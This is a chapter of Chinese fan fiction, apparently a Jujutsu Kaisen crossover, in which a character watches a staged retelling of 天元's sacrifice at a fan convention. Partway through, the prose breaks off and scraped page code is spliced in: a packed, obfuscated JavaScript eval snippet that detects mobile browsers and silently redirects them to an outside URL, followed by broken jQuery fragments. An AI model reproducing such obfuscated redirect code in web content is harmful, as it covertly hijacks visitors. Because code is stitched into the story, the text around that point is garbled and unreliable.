人头攒动。
人声嘈杂。
人心浮动。
同一时间,不同地点,全国的大小会场都开始了同一个活动。
“今天,我们相聚在这里,是为了同一个梦想,是为了同一个光辉的形象——”
主持人紧握话筒,声音清亮,语气抑扬顿挫,表情克制又兴奋。完美的设备清晰地将她的每一句话传到会场的每一个角落,飞速感染着在场的每一个观众。
“是的,没错,请大家一起喊出她的名字——”
“天元——!!!”
“天元——!!!”
“天元——!!!”
“天元大人!没错!正是天元大人!”
应风生非常局促地坐在最前排的绝佳“观景位”,想不通小小的像素身体和大大的空位置这两者怎么会如此不兼容?哈哈,难道说剩余的地方是被俺的尴尬给填满了吗?
很有道理呢。
可恶!为什么这个活动的流程是强制参与?
嗯……说是强制,其实并不准确。
与其说是活动流程“强制”了应风生,让她不得不在最前排的位置上如坐针毡、如芒在背、如鲠在喉,倒不如说是她自己“强制”了自己——唉,实在是一看到【自由】那双跟家入硝子一模一样的眼睛无比真切地看过来,其中光芒明亮、期待满满,让人如何能够拒绝呢?
应风生只要想想当初和家入硝子的相遇,想想当时她自暴自弃,毫无生活目标的那副颓废模样,想想她那双当时简直毫无精神气、一直耷拉着的眼睛,心中就免不了一阵自我谴责:好说歹说也算是朋友一个,怎么能在朋友需要支持的时候却步不前呢?家入硝子好不容易在事业上有了较大的进展,不说亲身参与其中,怎么也得亲眼见证一二,为这段了不起的、跨越时空的友谊再添上浓墨重彩的一笔吧?
思来想去,想来思去。
应风生最终既是败在了【自由】的灼灼目光之下,也是败在了自己那面对同伴总忍不住心软的性格下。
当然,这点她总是意识不到。或者说,即使意识到了,也羞于承认,故而总是习惯性地把锅一甩,丢到了如今已经成为明面上暗地里双重背锅侠的系统身上。
“在正式开始比赛活动之前,让我们一起再看一遍那令人热血沸腾又潸然泪下的传奇故事吧——”
“大家——请做好准备——让我们一起伴随着演绎,一同走入千年前的诡谲世界吧——!”
用词还挺高级。
应风生板板正正地坐在位置上,感觉自己的像素身体都有种被尴尬和无所适从塞满的僵硬,甚至有些不受自己的控制。但是她的大脑反应却与之完全相反,它不仅不僵硬、不滞涩,反而还在这种无法逃脱的、令人反复感叹“我不该在这里,我应该在车底”的气氛中变得格外活跃,反应速度比之前快了不止一点。
比如说,在整个会场以及整个活动流程中唯一让应风生感到安慰的地方——语言,她的大脑就没有放过任何可以吐槽的细节。
随着主持人的缓缓离场,整个会场内灯光骤然一暗。紧接着缠绵的乐声悠悠响起,渐次提升的背景音乐给人一种似梦非梦的神秘之感。因为乐器本身的特殊音色,呜呜咽咽,哀婉难言,既让人感觉凄冷,又让人倍觉遥远——就在气氛逐渐沉静,眼见要落入悲伤之中的时候,乐声又骤然一转,奔腾振奋,使人精神一凛。
与此同时,漆黑一片的会场内,明亮的灯光全部汇集到中心的舞台之上。此前还空无一物的舞台,此时此刻已经悄然改变了模样。
错落的布景古色古香,不知何时登场的演员们也全都身着复原的服装。不过这等精心准备也只能演给“懂得”的人看,像应风生这种完完全全的“外地人”,其实根本没看出其中有多少用心。
这个邪恶的农场主坐在最佳位置上,能够以最佳距离看清演员们的模样和神情,但是她心里居然想的是——嗯,这个妆容还真是很奇妙嘞。
自认没有点亮化妆技能的应风生沉吟两秒,就迅速接受了本地的特色妆面。
表演,正式开场。
应风生在接受咒术世界的活动时看过一眼活动内容,没错,的的确确毫不作假的……一眼。那点儿像素眼睛一瞥而过的字数可能还不如活动标题那热热闹闹恨不得拿大喇叭喊出来的内容多。
简而言之,应风生只知道自己的目的是“寻找星浆体”,但是来龙去脉一概不清楚。
正巧,开场的表演为她解释了一切——
千年之前,妖鬼横行,哀鸿遍野。
当是时,大妖辈出,特级咒灵数不胜数,人世间哪里是“人”世间,完全沦为了怪物的猎场,鬼神的餐桌。
猩红灯光下,应风生看着台上凄惨无比又格外现实的演出,心中也同步泛起深沉的痛苦和无边的同情:可怜的时代,悲哀的时代,令人绝望的时代啊……
怨念丛生,灵力消退——毕竟世间的能量总是如此,此消彼长——而破局之法,亦在其中。
没有人记得究竟是谁第一个发现了【怨念】的力量,第一个将之转换为【咒力】运转使用。就好像一夜之间原本倾向于使用灵力的阴阳师们忽然分化为两派,其中一派坚守本心和灵力,另一派则是将世间怨念化为己用,自称【咒术师】
浓厚的怨念将【咒术师】原本并不算大的规模迅速催生扩张,隐隐有与阴阳师分庭抗礼的趋势。
一如阴阳师中存在强如安倍晴明这样堪称半神的能者,咒术师中,也不乏实力强悍之辈。
而强者之中的最强者,名为【天元】
“哼。”
应风生勉强动了动脑袋,不知道刚刚那一声冷哼是否是幻听:这不是“同好”会吗?为什么会有观众用冷哼来表示不满?难道是表演过程里有人崩人设了吗?
“哼。”
这一声,应风生听得清清楚楚,而她的脑袋正巧也在这时候转过去——
距离应风生座位大概两三个间隔的位置上,一个身型矮小的观众裹着长长的黑色斗篷,整个人被完全遮挡,看不到一丁点真正的模样。她以防备姿势环抱双手,手掌被宽大的袖口挡着,同样也看不真切。
应风生收回视线,心中不免感慨:要真是崩了人设,这样舍得花钱的真爱粉一定会把这个活动骂得狗血喷头的……【自由】啊,你可是在玩火!
表演还在继续,现场似乎除了应风生以外,并没有其她人关注到斗篷人那并不算低声的冷哼。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732157|184972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
【天元】联合当时的几大强者,以牺牲自由为代价,将整个国家都笼罩在可靠的【结界】之中。
会场的中心舞台架设了不少灯光设备,终局之战时双方对峙时不同位置上的灯光一强一弱,一明一暗的强烈对比,更是将这场献祭似的胜利充满的悲剧色彩演绎到了极致。
“为了大家,我不后悔。”
代表着【天元】的角色洒脱一笑,挥手告别并肩战斗的伙伴,在悲壮音乐的送别之下,独自走入了强大的【束缚】
“以永远的自由为代价,交换【术式】的强化。”
“就请让我用这独一无二的【术式】为大家撑起一片明亮的天空吧——”
话音刚落,漆黑的幕布瞬间撤去,鲜亮的蓝白取而代之。
仿佛当真在这一刹那,实现了黑夜与白天的切换,仿佛当真在这一刹那,让人幻视当时妖魔伏诛,鬼神退却,人间一洗怨念污浊,重归安详宁静的画面。
强大的结界为脆弱的人世间筑起了可靠的屏障,在此之内,普通人终于得到喘息之机。而结界之外,阴阳师咒术师仍旧在四处奔波战斗……
随着时间的流逝,世间终于恢复了平静。
阴阳师和咒术师的身份地位更上一层楼,可是被困在【束缚】之中的【天元】,却发现了【术式】的另一个问题——【不死】术式同样被【束缚】所强化,以至于会让她在时间流逝中逐渐丧失自我,丢失人性,最后甚至可能成为人类的敌人!
为了保持清醒,同样也为了保持人性,【天元】做出了一个痛苦的决定——【同化】
只要能够和拥有特定身体素质的【星浆体】同化,她就能够让不断进化的【不死】术式回到原点。如此一来,便能够拥有很长一段时间的清醒。
只是【同化】啊……
【天元】的演员眼含热泪,抬头望天,只是头顶并非是自由的天空,而是复杂繁华的顶饰——来自于薨星宫,这个特意为她营建的宫殿。
“我究竟该如何选择……”
“还真是辛苦……”应风生一声长叹,脑袋上也适时冒出一串相当应景的感叹号,“你们觉得怎么样,这个故事?”
没等身边的几人回答,应风生一转头就看见两个豆丁面无表情,伏黑甚尔更是一脸无聊,昏昏欲睡,强撑着精神可能只是给她一点面子。
难道是俺太感性了吗?
应风生思考,应风生反思,应风生一拍双手指指点点:“这是一点儿共情能力都没有!”
“感谢剧团为我们带来的精彩演出,带着我们又一次回到了那危机四伏的时代,让我们又一次见证了天元大人的无私奉献——”
“那么,接下来,想必大家早已经对我们的活动充满了期待——”
“既然如此,就让我们正式开启百年一次的——【星浆体同化】活动吧!”
主持人红着眼睛走出来,声音倒还是一如之前沉稳又清亮。说了三两句话,她很快就调整好了状态,迅速调动起全场的气氛。
“接下来的一个星期,我们将会以直播的方式从各个地方会场层层选拔【星浆体】,最后三天,在这个舞台上一决胜负——就让我们拭目以待,看看谁才是真正的【星浆体】吧!!!